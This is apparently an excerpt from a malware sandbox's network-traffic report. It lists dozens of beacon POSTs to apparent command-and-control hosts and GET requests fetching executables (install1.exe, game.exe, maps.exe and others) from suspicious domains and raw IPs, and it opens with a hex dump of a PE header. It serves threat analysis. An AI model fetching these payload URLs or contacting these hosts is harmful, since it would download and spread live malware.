Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Tue, 04 Jan 2022 18:34:18 GMTContent-Type: application/octet-streamContent-Length: 474112Last-Modified: Tue, 04 Jan 2022 16:40:43 GMTConnection: keep-aliveETag: "61d4788b-73c00"Expires: Tue, 11 Jan 2022 18:34:18 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 12 fd 7d 34 56 9c 13 67 56 9c 13 67 56 9c 13 67 e2 00 e2 67 44 9c 13 67 e2 00 e0 67 f4 9c 13 67 e2 00 e1 67 48 9c 13 67 5f e4 97 67 57 9c 13 67 c8 3c d4 67 54 9c 13 67 6d c2 10 66 4c 9c 13 67 6d c2 16 66 6c 9c 13 67 6d c2 17 66 74 9c 13 67 5f e4 80 67 43 9c 13 67 56 9c 12 67 7f 9d 13 67 c1 c2 1a 66 09 9c 13 67 c4 c2 ec 67 57 9c 13 67 c1 c2 11 66 57 9c 13 67 52 69 63 68 56 9c 13 67 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 73 1d 99 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 2c 05 00 00 0c 02 00 00 00 00 00 72 04 03 00 00 10 00 00 00 40 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 07 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 08 98 06 00 dc 00 00 00 00 20 07 00 9c 4b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 07 00 34 39 00 00 20 7d 06 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 7d 06 00 18 00 00 00 58 7d 06 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 05 00 9c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0c 2b 05 00 00 10 00 00 00 2c 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 70 01 00 00 40 05 00 00 72 01 00 00 30 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 3e 00 00 00 c0 06 00 00 0e 00 00 00 a2 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 09 00 00 00 00 00 07 00 00 02 00 00 00 b0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 66 69 64 73 00 00 30 02 00 00 00 10 07 00 00 04 00 00 00 b2 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 9c 4b 00 00 00 20 07 00 00 4c 00 00 00 b6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 39 00 00 00 70 07 00 00 3a 00 00 00 02 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mnxwgte.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 146Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fcsijwjo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 309Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytools-foryou-777.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xxvce.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 194Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nbivn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mqtuiygbd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 212Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hyipaj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 182Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ixfmgcxna.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 263Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hcnexlv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 133Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://shqbxq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 299Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mrxnaw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 213Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/2184_1641247228_8717.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kyrrypaj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 270Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wpjrovehat.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 295Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gemicjpf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 181Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kgdrt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 316Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pbwsr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 294Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tinpgbjvs.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 137Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://trkju.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 271Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://affpnhtco.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 296Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://biuigjh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 133Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bbqijtelr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 164Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ergvrb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 110Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dcppl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 359Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gnleqagbe.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 296Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ffijaqcca.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 218Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://edakogho.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 216Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ccihwcxvgc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 130Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vnhfrdnsx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 115Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nbajd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 133Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sehol.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 337Host: amogohuigotuli.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qquvonfakj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 226Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rqgjiitwa.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 346Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wkshgd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lpdsum.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 119Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pefdgmtoj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 198Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /stlr/maps.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 91.243.44.130
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://opjngj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 172Host: amogohuigotuli.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rbkjpfevn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 271Host: amogohuigotuli.at
Source: global traffic	HTTP traffic detected: GET /install1.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unic11m.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xujjips.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 254Host: amogohuigotuli.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://luqilpnni.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 364Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://smurvjp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 312Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /install1.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pbysostxi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 169Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xggvos.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 301Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://upxogvba.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 166Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qjoorlrk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 123Host: amogohuigotuli.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tahqfcsy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 250Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tuosodl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 155Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/8584_1641133152_551.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mnrycwnvnv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 168Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lqhxjo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 297Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hhtdbo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 147Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pcfbatp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 132Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yytvtctaug.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 181Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lmpxg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 169Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nxxtbccl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 353Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uqmves.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xhxsjp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 151Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://skgfhxg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 307Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qlaiw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 301Host: amogohuigotuli.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qopqxs.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 114Host: amogohuigotuli.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cqutypagk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 111Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ahkpouvwup.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 350Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gxtcaqi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 177Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hrsmjturj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 313Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jwmtctjvqt.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://amqeeswq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 141Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /crp.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: f0616068.xsph.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gnnwam.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 127Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hwgkv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 301Host: amogohuigotuli.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fleiunffw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 145Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: vk.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ouwak.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 315Host: amogohuigotuli.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gyuyyjn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: natribu.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sxetmnxgu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 326Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: natribu.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://whjllmlg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 266Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/2972_1641266367_4755.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jjrpdilcbv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 279Host: amogohuigotuli.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ersxoxafng.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 354Host: host-data-coin-11.com
